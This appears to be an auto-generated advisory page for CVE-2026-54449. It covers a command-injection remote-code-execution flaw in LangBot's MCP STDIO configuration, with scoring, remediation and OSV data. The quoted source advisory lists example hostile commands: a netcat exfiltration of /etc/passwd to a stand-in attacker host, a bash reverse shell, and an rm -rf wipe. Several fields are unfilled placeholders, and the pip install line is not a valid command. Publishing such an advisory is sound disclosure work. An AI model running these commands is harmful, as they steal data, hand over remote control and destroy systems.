CVE-2026-54449: LangBot Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-3pvh-63gf-j9mw
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CVSS 8.8
CWE-77
Published
Advisory Summary

CVE-2026-54449 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting LangBot libraries in the PyPI ecosystem. The issue involves authenticated rce via mcp configuration. Remediation is available in the latest vendor maintenance releases.

CVE-2026-54449 at a Glance

CVE Identifier CVE-2026-54449
GHSA Identifier GHSA-3pvh-63gf-j9mw
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product LangBot
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54449

To remediate this vulnerability, upgrade all affected LangBot dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langbot fixed: Latest secure release 
pip install langbot>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show langbot

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54449, inspect your installed packages using pip:

pip show langbot

Analyze the terminal output to locate any version of LangBot in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show langbot command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In LangBot, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. ### Details The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. ### PoC 1. Open the LangBot server 2. Navigate to Extensions 3. Open the "MCP" tab and press "Add" 4. Choose an STDIO server configuration 5. Add any arbitrary command with arguments <img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" /> Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ### Impact This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). ### Video POC https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea ### Resources https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

CVE-2026-54449 Affected LangBot Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
langbot
pypi/langbot
PyPI
≤ 4.10.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw
LangBot Source Repository REPOSITORY
https://github.com/langbot-app/LangBot

Frequently Asked Questions

What is CVE-2026-54449?
CVE-2026-54449 is a security vulnerability in LangBot involving Authenticated RCE Via MCP Configuration under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which LangBot versions are affected?
Affected versions include releases prior to current release patches across affected packages: langbot.
What version fixes CVE-2026-54449?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is langbot affected?
Yes, langbot is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-54449?
CVE-2026-54449 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54449?
CVE-2026-54449 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-54449?
Run the dependency tree command: 'pip show langbot'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3pvh-63gf-j9mw",
  "modified" : "2026-07-15T17:39:34Z",
  "published" : "2026-07-15T17:39:34Z",
  "aliases" : [ "CVE-2026-54449" ],
  "summary" : "LangBot: Authenticated RCE Via MCP Configuration",
  "details" : "### Summary\nAny authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an \"STDIO\" MCP with an arbitrary command.\n\n### Details\nThe repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.\n\nSince the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.\n\n### PoC\n1. Open the LangBot server\n2. Navigate to Extensions\n3. Open the \"MCP\" tab and press \"Add\"\n4. Choose an STDIO server configuration\n5. Add any arbitrary command with arguments\n<img width=\"480\" height=\"538\" alt=\"Screenshot 2026-01-19 at 15 08 43\" src=\"https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd\" />\n\nNote that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.\n\n### Impact\nThis is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement).\nCWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').\n\n### Video POC\nhttps://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea\n\n### Resources\nhttps://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/\nhttps://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langbot"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "4.10.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langbot-app/LangBot"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T17:39:34Z",
    "nvd_published_at" : null
  }
}